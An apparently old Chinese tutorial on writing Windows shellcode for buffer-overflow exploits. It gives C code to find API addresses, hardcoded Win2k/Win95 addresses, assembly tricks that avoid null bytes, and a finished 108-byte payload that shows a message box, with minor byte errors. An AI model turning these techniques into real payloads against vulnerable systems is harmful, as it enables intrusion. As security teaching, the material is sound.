Unix上shellcode的编写已经讲了很多文章了
windows上也基本相同 不过编写前我们得要知道我们所须的系统调用的地址
如何得到地址??
很简单
#include<windows.h>
#include<stdio.h>
char buffer[256];
void main()
{
sprintf(buffer,"MessageBoxA: %p\nExitProcess: %p\nLoadLibraryA %
p\n",MessageBoxA,ExitProcess,LoadLibraryA); //哈哈,看到没又是一个不严格的检查 ^_*
MessageBox(0,buffer,"ADDR",0);
}
编译 cl addr.c /link user32.lib
运行吧! 看到了什么?? 快记录下来吧!!
For Win2k pro sp1
;//LoadLibraryA 77e67273 For Win95 0BFF775F3h
;//MessageBoxA 77e0737e For Win95 0BFF638D9h
;//ExitProcess 77e6f32d For Win95 0bff8b191h
有了地址又如何? 看看下列汇编吧!!
不过得记住最后的机器码中不能有\0 \n等特殊字符,所以得要吧很多东东改改
如user32.dll\0 中的\0就不行而是用'0' 然后在汇编中mov 一个 0进去!!
jmp ca
jm:
pop ebp ;得到字符窜的起始地址
xor eax,eax ;以下三行是为了 sub esp,1000 但直接的sub esp,1000 中有两个\0 没办法改为3行
mov ax,1000 ;想想为何要 -1000 ;当看看这段代码执行时esp在其顶部一点点,没几个push
sub esp,eax ;就把自己给覆盖了行吗??? 当然要 -1000 了
xor ebx,ebx ;以下的4行是为了mov byte ptr[ebp+ebx],al 因为其偏移为\n 没办法改改就
mov bl,12 ; 成了现在这样
dec ebx
dec ebx
xor eax,eax ;以下4行是给字符窜尾附\0
mov byte ptr[ebp+ebx],al
mov byte ptr[ebp+18],al
mov byte ptr[ebp+36],al
push 0BFF775F3h ;LoadLibraryA
push ebp ;LoadLibrayA的参数指向"user32.dll"
call DWORD ptr[esp+4] ;调用LoadLibraryA
xor ebx,ebx
push ebx ; MB_OK
mov eax,ebp
add eax,11 ; message title
push eax
add eax,8
push eax ; "From Binnar Code."
push ebx ;NULL
push 0bff8b191h ;ExitProcess return by MessageBoxA
push 0BFF638D9h ;MessageBoxA
ret 0 ;返回到MessageBoxA 而MessageBoxA返回时看看,到了 ExitProcess
ca:
call jm
db "user32.dll",'0 ' ; 10+1
db "MESSAGE",'0 ' ; 7+1
db "From Binnar Code.",'0' ; 17+1
放到汇编里编译然后
dumpbin /disasm ??.exe > a.txt
用记事本打开a.txt 看看我们就能得到所要的机器码:弹出对话筐显示信息,然后退出进程
整理以下就可以得到如下机器码
char shellcode[108]=
{
0xEB ,0x3d ,0x5D ,0x33 ,0xC0 ,0x66 ,0xb8 ,0xe8 ,0x03 ,0x2b ,0xe0 ,
0x33 ,0xDB ,0xB3 ,0x0C ,0x4b ,0x4b ,
0x33 ,0xC0 ,0x88 ,0x04 ,0x2b ,0x88 ,0x45 ,0x12 ,0x88 ,0x45 ,0x24 ,0x68,
0xF3 ,0x75 ,0xF7 ,0xBF ,0x55 ,0xFF ,0x54 ,0x24 ,0x04 ,0x33 ,0xDB ,0x53,
0x8B ,0xC5 ,0x83 ,0xC0 ,0x0B ,0x50 ,0x83 ,0xC0 ,0x08 ,0x50 ,0x53 ,0x68,
0x91 ,0xB1 ,0xF8 ,0xBF ,0x68 ,0xD9 ,0x38 ,0xF6 ,0xBF ,0xC3 ,0xE8 ,0xbe,
0xFF ,0xFF ,0xFF,
'u','s','e','r','3','2','.','d','l','l','0',
'M','E','S','S','A','G','E','0',
'F','r','o','m',20,'B','i','n','n','a','r',20,'C','o','d','e','.','0','N','N','N'
};
最后3个'N'是填充,因为分配空间为4的辈数所以我们的code也为4的辈数比较好写溢出程序啦